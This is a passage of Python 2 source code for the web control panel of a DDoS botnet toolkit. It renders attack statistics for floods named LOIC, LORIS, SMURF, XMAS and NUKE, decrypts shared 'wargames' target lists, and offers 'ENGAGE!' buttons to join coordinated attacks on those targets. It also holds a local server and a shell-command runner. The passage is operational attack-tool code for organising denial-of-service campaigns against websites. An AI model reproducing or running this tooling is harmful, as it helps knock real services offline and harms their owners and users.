  4609. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td></tr><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td></tr><tr><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td></tr></table><br><hr><br>"
  4610. f.write(mother_table)
  4611. f.write(grid_table)
  4612. f.write(end_mark)
  4613. f.close()
  4614. else: # not valid stream data
  4615. pass
  4616. if page == "/cmd_decrypt_grid_update":
  4617. if not os.path.exists('/tmp/out'):
  4618. open('/tmp/out', 'w').close()
  4619. with open('/tmp/out', 'r') as f:
  4620. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  4621. if page == "/cmd_decrypt_wargames":
  4622. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  4623. wargames_join_flag = False # anti-join flag for non decrypted wargames
  4624. try:
  4625. wargames_deckey = pGet["wargames_deckey"]
  4626. except:
  4627. wargames_deckey = ""
  4628. end_mark = "[Info] [AI] End of decryption."
  4629. if wargames_deckey is not "": # wargames decryption
  4630. nodec_text = "KEY?"
  4631. try: # read global army supply from configuration file (json)
  4632. with open(self.mothership_supplycfg_file) as data_file:
  4633. data = json.load(data_file)
  4634. except:
  4635. if os.path.exists(self.mothership_supplycfg_file) == True:
  4636. print '[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n'
  4637. return
  4638. else: # generate default global army supply configuration file
  4639. print '[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]'
  4640. with open(self.mothership_supplycfg_file, "w") as f:
  4641. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0}, f, indent=4)
  4642. with open(self.mothership_supplycfg_file) as data_file:
  4643. data = json.load(data_file)
  4644. self.supply_botnet = data["botnet"]
  4645. self.supply_loic = data["loic"]
  4646. self.supply_loris = data["loris"]
  4647. self.supply_ufosyn = data["ufosyn"]
  4648. self.supply_spray = data["spray"]
  4649. self.supply_smurf = data["smurf"]
  4650. self.supply_xmas = data["xmas"]
  4651. self.supply_nuke = data["nuke"]
  4652. f = open(self.wargames_file,"r")
  4653. ls = f.readlines()
  4654. f.close()
  4655. if ls:
  4656. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  4657. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td></tr><tr><td align='center'><input type='number' min='1' max='20' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SPRAY:</td><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td></tr><tr><td align='center'><input type='number' min='0' max='20' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  4658. else:
  4659. wargames_autopanel = ""
  4660. wargames_supply = ""
  4661. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  4662. f = open("/tmp/out", "w")
  4663. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  4664. wargames_id = 1
  4665. for m in self.list_wargames_rev: # list = creation, target, estimated
  4666. if wargames_msg_sep in m:
  4667. m = m.split(wargames_msg_sep)
  4668. wargames_creation = m[0] # creation date
  4669. self.decrypt(wargames_deckey, wargames_creation)
  4670. if self.decryptedtext:
  4671. wargames_creation = self.decryptedtext
  4672. else:
  4673. wargames_creation = nodec_text
  4674. self.decryptedtext = "" # clean decryptedtext buffer
  4675. wargames_target = m[1] # target
  4676. wargames_target_joined = wargames_target
  4677. self.decrypt(wargames_deckey, wargames_target)
  4678. if self.decryptedtext:
  4679. wargames_target = self.decryptedtext
  4680. if wargames_target.startswith("www."):
  4681. wargames_target = wargames_target.replace("www.","")
  4682. else:
  4683. wargames_target = nodec_text
  4684. self.decryptedtext = "" # clean decryptedtext buffer
  4685. wargames_estimated = m[2] # estimated time
  4686. self.decrypt(wargames_deckey, wargames_estimated)
  4687. if self.decryptedtext:
  4688. wargames_estimated = self.decryptedtext
  4689. wargames_join_flag = True
  4690. else:
  4691. wargames_estimated = nodec_text
  4692. self.decryptedtext = "" # clean decryptedtext buffer
  4693. else:
  4694. wargames_target = "KEY?"
  4695. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4696. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4697. try:
  4698. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4699. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4700. except: # discarding errors also on panel
  4701. wargames_creation = now
  4702. wargames_estimated = now
  4703. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  4704. wargames_creation = now
  4705. wargames_estimated = now
  4706. if (now >= wargames_estimated) == False: # change flag color when time is out
  4707. time_now = time.mktime(now)
  4708. time_estimated = time.mktime(wargames_estimated)
  4709. wargames_eta = (time_estimated - time_now)
  4710. hours, rem = divmod(wargames_eta, 3600)
  4711. minutes, seconds = divmod(rem, 60)
  4712. if "!!!" in wargames_target_joined:
  4713. status = "JOINED!"
  4714. wargames_status = "<font color='cyan'>"+status+"</font>"
  4715. if wargames_join_flag == True:
  4716. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  4717. else:
  4718. wargames_join = "KEY?" # present but with a different crypto-key
  4719. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  4720. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4721. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  4722. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4723. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  4724. else:
  4725. status = "-ONGOING-"
  4726. wargames_status = "<font color='orange'>"+status+"</font>"
  4727. if wargames_join_flag == True:
  4728. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  4729. else:
  4730. wargames_join = "KEY?" # present but with a different crypto-key
  4731. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  4732. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4733. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  4734. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4735. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  4736. else:
  4737. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4738. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  4739. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4740. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  4741. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  4742. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  4743. status = "-CLOSED-"
  4744. wargames_status = "<font color='red'>"+status+"</font>"
  4745. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  4746. wargames_id = wargames_id + 1
  4747. wargames_table += "</table><br>"
  4748. f.write(wargames_table)
  4749. f.write(end_mark)
  4750. f.close()
  4751. if page == "/cmd_decrypt_wargames_update":
  4752. if not os.path.exists('/tmp/out'):
  4753. open('/tmp/out', 'w').close()
  4754. with open('/tmp/out', 'r') as f:
  4755. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  4756. if page == "/blackholes":
  4757. self.pages["/blackholes"] = self.html_blackholes()
  4758. if page == "/requests":
  4759. if pGet=={}:
  4760. self.pages["/requests"] = self.html_requests()
  4761. else:
  4762. self.save_cfg(pGet)
  4763. self.pages["/requests"] = self.html_request_submit()
  4764. if page == "/abduction":
  4765. self.pages["/abduction"] = self.html_abduction()
  4766. if page == "/stats":
  4767. self.pages["/stats"] = self.html_stats()
  4768. if page == "/wormhole":
  4769. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  4770. ctype = "text/html"
  4771. if page.find(".js") != -1:
  4772. ctype = "application/javascript"
  4773. elif page.find(".txt") != -1:
  4774. ctype = "text/plain"
  4775. elif page.find(".ico") != -1:
  4776. ctype = "image/x-icon"
  4777. elif page.find(".png") != -1:
  4778. ctype = "image/png"
  4779. elif page.find(".css") != -1:
  4780. ctype = "text/css"
  4781. if page in self.pages:
  4782. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  4783. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  4784. class Command(object):
  4785. def __init__(self, cmd):
  4786. self.cmd = cmd
  4787. self.process = None
  4788. def run(self, timeout):
  4789. def target():
  4790. self.process = subprocess.Popen(self.cmd, shell=True)
  4791. thread = threading.Thread(target=target)
  4792. thread.start()
  4793. thread.join(timeout)
  4794. if thread.is_alive():
  4795. self.process.terminate()
  4796. thread.join()
  4797. if __name__ == "__main__":
  4798. webbrowser.open('http://127.0.0.1:9999', new=1)
  4799. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4800. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  4801. tcpsock.bind((host, port))
  4802. while True:
  4803. tcpsock.listen(4)
  4804. (clientsock, (ip, c_port)) = tcpsock.accept()
  4805. newthread = ClientThread(ip, c_port, clientsock)
  4806. newthread.start()